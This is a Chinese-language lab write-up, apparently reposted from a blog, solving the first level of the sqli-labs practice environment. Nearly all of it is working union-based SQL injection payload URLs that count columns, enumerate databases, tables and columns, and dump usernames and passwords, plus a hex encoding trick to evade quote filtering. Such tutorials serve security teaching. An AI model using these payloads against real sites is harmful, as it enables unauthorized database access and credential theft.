sqli 第一关

sqli 第一关
加入?id=1 ?id=1”正常;
这里可以简单猜测一下回显到浏览器的数据有两,一个是name,y 一个是password
在这里插入图片描述

?id=1’ 报错 说明存在字符型单引号注入
报错信息: 并且报错信息会回显到浏览器
在这里插入图片描述

利用注释符 --+把后面的 ‘ LIMIT 0,1 注释掉
然后利用 order by 4 来判断表的列数
但是报错了,说明不是4列
在这里插入图片描述

order by 3 显示正常说明表为3列

如果输入的id不存在 啥都不显示
在这里插入图片描述

利用这一点,可以注释掉id内容,然后通过联合查询union select 1,2,3 来判断页面有多少个显示位

通过执行http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,3–+
得到,其中第一列我们输入的数据1并没有回显到页面中,而2,3分别回显到页面中
在这里插入图片描述

从而推导出,第二列和第三列能够回显到页面中

接下来的思路是:爆破数据库的数据库名,表名,列名,字段信息
继续利用union select把命令注入到sql中进行查询,并返回
group_concat(schema_name) from information_schema.schemata 可以爆出所有的数据库名
完整的命令:
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1, 2, group_concat(schema_name) from information_schema.schemata --+
在这里插入图片描述

查询目前回显到当前页面的数据库名称和版本
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,version(),database()–+
在这里插入图片描述

可以知道,我们接下来应该爆破的数据库应该是security

查询security数据库下的表名
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’) --+
在这里插入图片描述

按照经验,我们接下来应该查看users这个表

http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name =‘users’ --+
在这里插入图片描述

接下来应该查看列 username 和 password中的字段
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(username) from security.users --+
在这里插入图片描述

http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(password) from security.users --+
在这里插入图片描述

可以用函数concat_ws(‘:’,A,B),把账号和密码对应起来
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(concat_ws(‘:’,username,password)) from security.users --+
在这里插入图片描述

:可以转换成16进制,绕过’检测
http://192.168.137.139/sqli-labs-master/Less-1/?id=666’ union select 1,2,group_concat(concat_ws(0x3a,username,password)) from security.users --+
第一关结束

猜你喜欢

转载自blog.csdn.net/xuanyitwo/article/details/129731303